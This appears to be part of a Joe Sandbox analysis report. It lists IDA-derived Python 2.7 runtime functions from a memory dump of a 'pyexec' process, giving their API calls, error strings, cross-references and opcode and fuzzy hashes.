Associated: 0000000E.00000002.2490563897.000000006C2BF000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490605537.000000006C2C0000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490605537.000000006C2D4000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490781208.000000006C311000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490811276.000000006C324000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_6c0a0000_pyexec.jbxd

Similarity

API ID: _finite$DoubleFromLong__isnanmodf
String ID:
API String ID: 3759321570-0
Opcode ID: a6b37e1d2f3b9b7f1f3c465369e75b04beff898aee8aeb1b20b52209b8db00c4
Instruction ID: 28990ba57c79a908f3621c330c31b2bc3aa69b08828ed80a446fe8bffc1505f0
Opcode Fuzzy Hash: a6b37e1d2f3b9b7f1f3c465369e75b04beff898aee8aeb1b20b52209b8db00c4
Instruction Fuzzy Hash: 8D31F872A1440993CB007E69FD092CD7BB8EF4536AF0407A9FD98D1A90EB31897D87C6

Function 6C0ADFA0 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 126COMMON

Download Yara Rule

APIs

PyArg_ParseTupleAndKeywords.PYTHON27(?,?,OOOOOOOOO:make_encoder,6C30B8BC,?,?,?,?,?,?,?,?,?), ref: 6C0ADFDC
PyObject_IsTrue.PYTHON27(?), ref: 6C0ADFF1
PyErr_Format.PYTHON27(6C2E48B0,make_encoder() argument 1 must be dict or None, not %.200s,?), ref: 6C0AE025

Strings

make_encoder() argument 1 must be dict or None, not %.200s, xrefs: 6C0AE01F
OOOOOOOOO:make_encoder, xrefs: 6C0ADFD5

Memory Dump Source

Source File: 0000000E.00000002.2490185741.000000006C0A1000.00000020.00000001.01000000.00000011.sdmp, Offset: 6C0A0000, based on PE: true

Associated: 0000000E.00000002.2490163369.000000006C0A0000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490416112.000000006C1EA000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490563897.000000006C2BF000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490605537.000000006C2C0000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490605537.000000006C2D4000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490781208.000000006C311000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490811276.000000006C324000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_6c0a0000_pyexec.jbxd

Similarity

API ID: Arg_Err_FormatKeywordsObject_ParseTrueTuple
String ID: OOOOOOOOO:make_encoder$make_encoder() argument 1 must be dict or None, not %.200s
API String ID: 1781283350-23895984
Opcode ID: dead9a2f92e1658e53a32b944baab1b69db5f71795ab3ff056d5e2c20c8c87b7
Instruction ID: 49bd1c5ad14647517e983cd9c5956e4e12f258a5f0d5e3275c1370232d5410f3
Opcode Fuzzy Hash: dead9a2f92e1658e53a32b944baab1b69db5f71795ab3ff056d5e2c20c8c87b7
Instruction Fuzzy Hash: C8414EB5A007089FC724CF99D880EABB7F4FF49314B00865AE95A97B11E731E955CF90

Function 6C0B7DF0 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 124COMMON

Download Yara Rule

APIs

_PyArg_ParseTupleAndKeywords_SizeT.PYTHON27(?,?,|O:groupdict,6C30A20C,?), ref: 6C0B7E13
PyDict_New.PYTHON27 ref: 6C0B7E25
_PyObject_CallMethod_SizeT.PYTHON27(?,keys,00000000), ref: 6C0B7E51

Strings

|O:groupdict, xrefs: 6C0B7E05
keys, xrefs: 6C0B7E4B

Memory Dump Source

Source File: 0000000E.00000002.2490185741.000000006C0A1000.00000020.00000001.01000000.00000011.sdmp, Offset: 6C0A0000, based on PE: true

Associated: 0000000E.00000002.2490163369.000000006C0A0000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490416112.000000006C1EA000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490563897.000000006C2BF000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490605537.000000006C2C0000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490605537.000000006C2D4000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490781208.000000006C311000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490811276.000000006C324000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_6c0a0000_pyexec.jbxd

Similarity

API ID: Size$Arg_CallDict_Keywords_Method_Object_ParseTuple
String ID: keys$|O:groupdict
API String ID: 2100346386-554732576
Opcode ID: f6e14abc064cbca61a3424afe85abd1d7c6215c814047ed31589753ea64d66c6
Instruction ID: 920ff0536f8419dcf8f4ca8f10c9c83d5f7bda9071b475deea34aba7cc47c471
Opcode Fuzzy Hash: f6e14abc064cbca61a3424afe85abd1d7c6215c814047ed31589753ea64d66c6
Instruction Fuzzy Hash: 43417776A011159BDB00CE5CD880B9A73F5EF85338F254295EC28ABB41D736ED46CBE1

Function 6C14C7A0 Relevance: 10.6, APIs: 7, Instructions: 121stringCOMMON

Download Yara Rule

APIs

PyString_FromString.PYTHON27(?,00000000,?,6C14CF60,?,?), ref: 6C14C810
strchr.MSVCR90 ref: 6C14C82E
strchr.MSVCR90 ref: 6C14C843
strchr.MSVCR90 ref: 6C14C876
strchr.MSVCR90 ref: 6C14C88E
strchr.MSVCR90 ref: 6C14C89A
strchr.MSVCR90 ref: 6C14C8AD

Memory Dump Source

Source File: 0000000E.00000002.2490185741.000000006C0A1000.00000020.00000001.01000000.00000011.sdmp, Offset: 6C0A0000, based on PE: true

Associated: 0000000E.00000002.2490163369.000000006C0A0000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490416112.000000006C1EA000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490563897.000000006C2BF000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490605537.000000006C2C0000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490605537.000000006C2D4000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490781208.000000006C311000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490811276.000000006C324000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_6c0a0000_pyexec.jbxd

Similarity

API ID: strchr$FromStringString_
String ID:
API String ID: 1648105354-0
Opcode ID: 2a598dee219b271d689e794dbbcab077628031c58685c8993407da2af3322e6c
Instruction ID: 220ca4cf5d10b4d0cea3b39e54f8c737c48a9b8085a84d19d60b110ab45e82ad
Opcode Fuzzy Hash: 2a598dee219b271d689e794dbbcab077628031c58685c8993407da2af3322e6c
Instruction Fuzzy Hash: 82410270A40B019FD720EF69C890B12B7F4FB59315F108A2DE94ACBA91D37AF849CB51

Function 6C0A7080 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 113COMMON

Download Yara Rule

APIs

PyObject_GetIter.PYTHON27(?), ref: 6C0A708E

Part of subcall function 6C12FF00: PySequence_Check.PYTHON27(?), ref: 6C12FF18
Part of subcall function 6C12FF00: PySeqIter_New.PYTHON27(?), ref: 6C12FF25

PyString_FromString.PYTHON27(writerows() argument must be iterable), ref: 6C0A70A7
PyErr_SetObject.PYTHON27(6C2E48B0,00000000,writerows() argument must be iterable), ref: 6C0A70B0
PyErr_GivenExceptionMatches.PYTHON27(?,6C2E4978), ref: 6C0A7134
PyErr_Clear.PYTHON27 ref: 6C0A7140

Strings

writerows() argument must be iterable, xrefs: 6C0A70A2

Memory Dump Source

Source File: 0000000E.00000002.2490185741.000000006C0A1000.00000020.00000001.01000000.00000011.sdmp, Offset: 6C0A0000, based on PE: true

Associated: 0000000E.00000002.2490163369.000000006C0A0000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490416112.000000006C1EA000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490563897.000000006C2BF000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490605537.000000006C2C0000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490605537.000000006C2D4000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490781208.000000006C311000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490811276.000000006C324000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_6c0a0000_pyexec.jbxd

Similarity

API ID: Err_$CheckClearExceptionFromGivenIterIter_MatchesObjectObject_Sequence_StringString_
String ID: writerows() argument must be iterable
API String ID: 2549401372-413612228
Opcode ID: 205fa71b74d8f2e5e95cc3d11ca1bba575aa87742f343eaf8887a24e3262b975
Instruction ID: bd042f0500d465dd0c4b8c74dd8e3672eabd4dddce4ce743f6dd4a02fb51ed76
Opcode Fuzzy Hash: 205fa71b74d8f2e5e95cc3d11ca1bba575aa87742f343eaf8887a24e3262b975
Instruction Fuzzy Hash: B031C9B6A0020197C7149AEDEC80E9773E8EB55338B148368ED288B786E735EC53C7D1

Function 6C0AB580 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 104COMMON

Download Yara Rule

APIs

PyInt_FromLong.PYTHON27 ref: 6C0AB59D
_PyLong_FromByteArray.PYTHON27(?,00000004,00000001,00000001), ref: 6C0AB5B6
_PyObject_GC_NewVar.PYTHON27(?,00000002), ref: 6C0AB606

Part of subcall function 6C0DBAA0: _PyObject_GC_Malloc.PYTHON27(?), ref: 6C0DBABC

Py_FatalError.PYTHON27(GC object already tracked), ref: 6C0AB62A

Strings

P&0l, xrefs: 6C0AB63F, 6C0AB647, 6C0AB652
GC object already tracked, xrefs: 6C0AB625

Memory Dump Source

Source File: 0000000E.00000002.2490185741.000000006C0A1000.00000020.00000001.01000000.00000011.sdmp, Offset: 6C0A0000, based on PE: true

Associated: 0000000E.00000002.2490163369.000000006C0A0000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490416112.000000006C1EA000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490563897.000000006C2BF000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490605537.000000006C2C0000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490605537.000000006C2D4000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490781208.000000006C311000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490811276.000000006C324000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_6c0a0000_pyexec.jbxd

Similarity

API ID: FromObject_$ArrayByteErrorFatalInt_LongLong_Malloc
String ID: GC object already tracked$P&0l
API String ID: 85452904-2850754575
Opcode ID: 99fedb9eb67ed8b5228d092a8eadc7d4d14e62ee11f685d1731d549b87297262
Instruction ID: 67f93a02adad596cff4b64f7033a8f51d5db5203d54bcb858ae637b93b360f86
Opcode Fuzzy Hash: 99fedb9eb67ed8b5228d092a8eadc7d4d14e62ee11f685d1731d549b87297262
Instruction Fuzzy Hash: 8131F0B2A007098FC710CFA9D881B96B3E4EB85334F204769D93987B91E775E856CBC1

Function 6C13A940 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 91COMMON

Download Yara Rule

APIs

PyClass_IsSubclass.PYTHON27(?,04000000,?,?,?,?,?,6C12F9FC,?,?,?,?,?,?,?,6C12FC7B), ref: 6C13A987

Strings

..\Objects\tupleobject.c, xrefs: 6C13A9C1
%s:%d: bad argument to internal function, xrefs: 6C13A9C6

Memory Dump Source

Source File: 0000000E.00000002.2490185741.000000006C0A1000.00000020.00000001.01000000.00000011.sdmp, Offset: 6C0A0000, based on PE: true

Associated: 0000000E.00000002.2490163369.000000006C0A0000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490416112.000000006C1EA000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490563897.000000006C2BF000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490605537.000000006C2C0000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490605537.000000006C2D4000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490781208.000000006C311000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490811276.000000006C324000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_6c0a0000_pyexec.jbxd

Similarity

API ID: Class_Subclass
String ID: %s:%d: bad argument to internal function$..\Objects\tupleobject.c
API String ID: 388245403-1285866127
Opcode ID: 6c8de0e4324ec1cfb6f26337b483d1d4a5566fcb6e3161cbfcaaf312f162c7f5
Instruction ID: ba4ab53192c02b8a3b83e71115caf5d9e4ebbafcdced907f03af8b682a4a6047
Opcode Fuzzy Hash: 6c8de0e4324ec1cfb6f26337b483d1d4a5566fcb6e3161cbfcaaf312f162c7f5
Instruction Fuzzy Hash: 35214D32B0412457DF10DAD9DC80E86B358DB9437CB16426AED5CA7B01E721EC51C7D1

Function 6C12E0B0 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 89COMMON

Download Yara Rule

APIs

PyErr_SetString.PYTHON27(6C2E65C8,null argument to internal routine), ref: 6C12E0D1
PySequence_Check.PYTHON27(?), ref: 6C12E0FF

Part of subcall function 6C12DF00: PyObject_GetAttrString.PYTHON27(?,__getitem__), ref: 6C12DF1A

PyInt_FromSsize_t.PYTHON27(?), ref: 6C12E10F

Part of subcall function 6C1570D0: PyInt_FromLong.PYTHON27(6C12E114,?,6C12E114,?), ref: 6C1570E2

Part of subcall function 6C12C430: PyType_IsSubtype.PYTHON27(00000000,?,?,?,?,?,?,6C12CA14,?,?,00000040), ref: 6C12C48B

PyErr_Format.PYTHON27(6C2E48B0,'%.200s' object can't be repeated,?), ref: 6C12E16E

Strings

null argument to internal routine, xrefs: 6C12E0CB
'%.200s' object can't be repeated, xrefs: 6C12E168

Memory Dump Source

Source File: 0000000E.00000002.2490185741.000000006C0A1000.00000020.00000001.01000000.00000011.sdmp, Offset: 6C0A0000, based on PE: true

Associated: 0000000E.00000002.2490163369.000000006C0A0000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490416112.000000006C1EA000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490563897.000000006C2BF000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490605537.000000006C2C0000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490605537.000000006C2D4000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490781208.000000006C311000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490811276.000000006C324000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_6c0a0000_pyexec.jbxd

Similarity

API ID: Err_FromInt_String$AttrCheckFormatLongObject_Sequence_Ssize_tSubtypeType_
String ID: '%.200s' object can't be repeated$null argument to internal routine
API String ID: 2764935240-1106208759
Opcode ID: 3b432f4f7ab8dddda20736223a9036c2bc06ccfd26ffbdb160565a65f865566e
Instruction ID: 96e394630c4aea71ce95580e2320089bb4b3bf76f09de0a70c483b6135685fd1
Opcode Fuzzy Hash: 3b432f4f7ab8dddda20736223a9036c2bc06ccfd26ffbdb160565a65f865566e
Instruction Fuzzy Hash: FC21D3BAB001019BD710DA75ECC0D97B3A8EF912297148235ED1C8B741D63AE996C7E4

Function 6C12E960 Relevance: 10.6, APIs: 3, Strings: 3, Instructions: 89COMMON

Download Yara Rule

APIs

PyErr_SetString.PYTHON27(6C2E65C8,null argument to internal routine), ref: 6C12E985
_PyObject_GC_Malloc.PYTHON27(00000014), ref: 6C12E9BA
Py_FatalError.PYTHON27(GC object already tracked), ref: 6C12E9FC

Strings

null argument to internal routine, xrefs: 6C12E97F
P&0l, xrefs: 6C12EA14, 6C12EA1C, 6C12EA26
GC object already tracked, xrefs: 6C12E9F7

Memory Dump Source

Source File: 0000000E.00000002.2490185741.000000006C0A1000.00000020.00000001.01000000.00000011.sdmp, Offset: 6C0A0000, based on PE: true

Associated: 0000000E.00000002.2490163369.000000006C0A0000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490416112.000000006C1EA000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490563897.000000006C2BF000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490605537.000000006C2C0000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490605537.000000006C2D4000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490781208.000000006C311000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490811276.000000006C324000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_6c0a0000_pyexec.jbxd

Similarity

API ID: Err_ErrorFatalMallocObject_String
String ID: GC object already tracked$P&0l$null argument to internal routine
API String ID: 2437797888-1474549952
Opcode ID: 556efca7b7fc427b9731f34a7221977c78d7e4b46e6803b7f2903cf595bc43ec
Instruction ID: ec4ed21c33d58719cbed9bef1604f1ea9e2d91d3d8db7cdac1b6c28ec734c05e
Opcode Fuzzy Hash: 556efca7b7fc427b9731f34a7221977c78d7e4b46e6803b7f2903cf595bc43ec
Instruction Fuzzy Hash: 5031F1B66006018FDB10CF6AD805742B3F8EF46329F10436AD86887790E77AE585CBD0

Function 6C0AE0E0 Relevance: 10.6, APIs: 3, Strings: 3, Instructions: 87COMMON

Download Yara Rule

APIs

PyArg_ParseTupleAndKeywords.PYTHON27(?,?,OO&:_iterencode,6C301D14,?,Function_0000ADC0,?), ref: 6C0AE10C
_PyObject_GC_Malloc.PYTHON27(00000014), ref: 6C0AE143
Py_FatalError.PYTHON27(GC object already tracked), ref: 6C0AE179

Strings

P&0l, xrefs: 6C0AE18E, 6C0AE197, 6C0AE1AD
OO&:_iterencode, xrefs: 6C0AE105
GC object already tracked, xrefs: 6C0AE174

Memory Dump Source

Source File: 0000000E.00000002.2490185741.000000006C0A1000.00000020.00000001.01000000.00000011.sdmp, Offset: 6C0A0000, based on PE: true

Associated: 0000000E.00000002.2490163369.000000006C0A0000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490416112.000000006C1EA000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490563897.000000006C2BF000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490605537.000000006C2C0000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490605537.000000006C2D4000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490781208.000000006C311000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490811276.000000006C324000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_6c0a0000_pyexec.jbxd

Similarity

API ID: Arg_ErrorFatalKeywordsMallocObject_ParseTuple
String ID: GC object already tracked$OO&:_iterencode$P&0l
API String ID: 354800078-2975407163
Opcode ID: 2657c15dce459f174bdba0ee2531828f1cec5d14f0410c39a3f10a5352ebdefd
Instruction ID: 1a3a0df5ba288a1d0d28ad69b3d44299951eecd9590f7ba6d04f1dcf81fe540a
Opcode Fuzzy Hash: 2657c15dce459f174bdba0ee2531828f1cec5d14f0410c39a3f10a5352ebdefd
Instruction Fuzzy Hash: 053127B26006049FD710CF98CC45A9AB7E8EB85724F208B2DE87887742E771E456CBD1

Function 6C0A27B0 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 86COMMON

Download Yara Rule

APIs

_PyArg_ParseTuple_SizeT.PYTHON27(?,O|z:unicode_internal_encode,?,?), ref: 6C0A27CE
PyString_FromStringAndSize.PYTHON27(?,?), ref: 6C0A27FA

Strings

O|z:unicode_internal_encode, xrefs: 6C0A27C1

Memory Dump Source

Source File: 0000000E.00000002.2490185741.000000006C0A1000.00000020.00000001.01000000.00000011.sdmp, Offset: 6C0A0000, based on PE: true

Associated: 0000000E.00000002.2490163369.000000006C0A0000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490416112.000000006C1EA000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490563897.000000006C2BF000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490605537.000000006C2C0000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490605537.000000006C2D4000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490781208.000000006C311000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490811276.000000006C324000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_6c0a0000_pyexec.jbxd

Similarity

API ID: Size$Arg_FromParseStringString_Tuple_
String ID: O|z:unicode_internal_encode
API String ID: 2714287502-4208230126
Opcode ID: def370e467605511601efc435dfca0c3822f0fd3252c8ffc5390ef9e8497e862
Instruction ID: 817fe8ec0c130de608e4bbf648e9721a66a814b35172a9c7332cab0df5a56f07
Opcode Fuzzy Hash: def370e467605511601efc435dfca0c3822f0fd3252c8ffc5390ef9e8497e862
Instruction Fuzzy Hash: BA21C176E010096BC710DAD9AC05EEA73FCDB84228F0842A9EC1C97B01F631EA1A87D1

Function 6C12B5D0 Relevance: 10.6, APIs: 3, Strings: 3, Instructions: 82COMMON

Download Yara Rule

APIs

PyErr_SetString.PYTHON27(6C2E48B0,expected a single-segment buffer object), ref: 6C12B626
PyErr_SetString.PYTHON27(6C2E48B0,expected a string or other character buffer object), ref: 6C12B665
PyErr_SetString.PYTHON27(6C2E65C8,null argument to internal routine), ref: 6C12B68D

Strings

expected a single-segment buffer object, xrefs: 6C12B620
null argument to internal routine, xrefs: 6C12B687
expected a string or other character buffer object, xrefs: 6C12B65F

Memory Dump Source

Source File: 0000000E.00000002.2490185741.000000006C0A1000.00000020.00000001.01000000.00000011.sdmp, Offset: 6C0A0000, based on PE: true

Associated: 0000000E.00000002.2490163369.000000006C0A0000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490416112.000000006C1EA000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490563897.000000006C2BF000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490605537.000000006C2C0000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490605537.000000006C2D4000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490781208.000000006C311000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490811276.000000006C324000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_6c0a0000_pyexec.jbxd

Similarity

API ID: Err_String
String ID: expected a single-segment buffer object$expected a string or other character buffer object$null argument to internal routine
API String ID: 1450464846-3572025370
Opcode ID: 4f4e94323c2cec2261b9a0a7069cef6b4f6b89ac7c4759ba7290936d4ddeeeb7
Instruction ID: 4eb3fc8223af8a57854ac2d43ea25a797f8993c3af1ace1786022aca15582a53
Opcode Fuzzy Hash: 4f4e94323c2cec2261b9a0a7069cef6b4f6b89ac7c4759ba7290936d4ddeeeb7
Instruction Fuzzy Hash: 9C21993A601605ABDB00CE59FC80F9673A8EB55738F204615E93D8BB81D735E495DB50

Function 6C0B1940 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 81COMMON

Download Yara Rule

APIs

_PyObject_GC_NewVar.PYTHON27(?,00000271), ref: 6C0B1954

Part of subcall function 6C0DBAA0: _PyObject_GC_Malloc.PYTHON27(?), ref: 6C0DBABC

Py_FatalError.PYTHON27(GC object already tracked), ref: 6C0B1986

Part of subcall function 6C1E1420: __iob_func.MSVCR90 ref: 6C1E1440
Part of subcall function 6C1E1420: fprintf.MSVCR90 ref: 6C1E1446
Part of subcall function 6C1E1420: __iob_func.MSVCR90 ref: 6C1E144C
Part of subcall function 6C1E1420: fflush.MSVCR90 ref: 6C1E1452
Part of subcall function 6C1E1420: OutputDebugStringW.KERNEL32(Fatal Python error: ), ref: 6C1E1499
Part of subcall function 6C1E1420: OutputDebugStringW.KERNEL32 ref: 6C1E149C
Part of subcall function 6C1E1420: OutputDebugStringW.KERNEL32(6C2B3AD4), ref: 6C1E14A3
Part of subcall function 6C1E1420: abort.MSVCR90 ref: 6C1E14A5

PyLong_FromUnsignedLong.PYTHON27(00000000), ref: 6C0B19C3
PyLong_FromLong.PYTHON27(?), ref: 6C0B19EA

Strings

P&0l, xrefs: 6C0B199B, 6C0B19A3, 6C0B19B0
GC object already tracked, xrefs: 6C0B1981

Memory Dump Source

Source File: 0000000E.00000002.2490185741.000000006C0A1000.00000020.00000001.01000000.00000011.sdmp, Offset: 6C0A0000, based on PE: true

Associated: 0000000E.00000002.2490163369.000000006C0A0000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490416112.000000006C1EA000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490563897.000000006C2BF000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490605537.000000006C2C0000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490605537.000000006C2D4000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490781208.000000006C311000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490811276.000000006C324000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_6c0a0000_pyexec.jbxd

Similarity

API ID: DebugOutputString$FromLongLong_Object___iob_func$ErrorFatalMallocUnsignedabortfflushfprintf
String ID: GC object already tracked$P&0l
API String ID: 3445569843-2850754575
Opcode ID: 7a9228549ec99c8fcb7c4ec273c761cd822d77ad533f7221353a4fa340b08d20
Instruction ID: 0a5be0e2039104ed6212f3f127085cb2b03b9c8f924c88b1de95c56b0ab51fec
Opcode Fuzzy Hash: 7a9228549ec99c8fcb7c4ec273c761cd822d77ad533f7221353a4fa340b08d20
Instruction Fuzzy Hash: 4C21F4B6B002059FD700CF5DDC84A56B3E4EB85228F148279DCA997791E732E855CB91

Function 6C12D650 Relevance: 10.6, APIs: 3, Strings: 3, Instructions: 77COMMON

Download Yara Rule

APIs

PyErr_SetString.PYTHON27(6C2E65C8,null argument to internal routine,?,?,6C12D72E,?,?,?,?,6C12B2E8,6C12EF3A,6C2E5B38), ref: 6C12D673
PyErr_Format.PYTHON27(6C2E48B0,__index__ returned non-(int,long) (type %.200s),?), ref: 6C12D6CF
PyErr_Format.PYTHON27(6C2E48B0,'%.200s' object cannot be interpreted as an index,?,?,?,?,6C12D72E,?,?,?,?,6C12B2E8,6C12EF3A,6C2E5B38), ref: 6C12D6FE

Strings

null argument to internal routine, xrefs: 6C12D66D
'%.200s' object cannot be interpreted as an index, xrefs: 6C12D6F8
__index__ returned non-(int,long) (type %.200s), xrefs: 6C12D6C9

Memory Dump Source

Source File: 0000000E.00000002.2490185741.000000006C0A1000.00000020.00000001.01000000.00000011.sdmp, Offset: 6C0A0000, based on PE: true

Associated: 0000000E.00000002.2490163369.000000006C0A0000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490416112.000000006C1EA000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490563897.000000006C2BF000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490605537.000000006C2C0000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490605537.000000006C2D4000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490781208.000000006C311000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490811276.000000006C324000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_6c0a0000_pyexec.jbxd

Similarity

API ID: Err_$Format$String
String ID: '%.200s' object cannot be interpreted as an index$__index__ returned non-(int,long) (type %.200s)$null argument to internal routine
API String ID: 1780620971-172259376
Opcode ID: d2e382b7cdc22c98cbb7e35b2d6eed5c19651fbe65f8b211f058fd31531ccc43
Instruction ID: 0ae124fd925cedf5606c25af997e7b4abfc6e61da8e3dd518f825764bc2580d7
Opcode Fuzzy Hash: d2e382b7cdc22c98cbb7e35b2d6eed5c19651fbe65f8b211f058fd31531ccc43
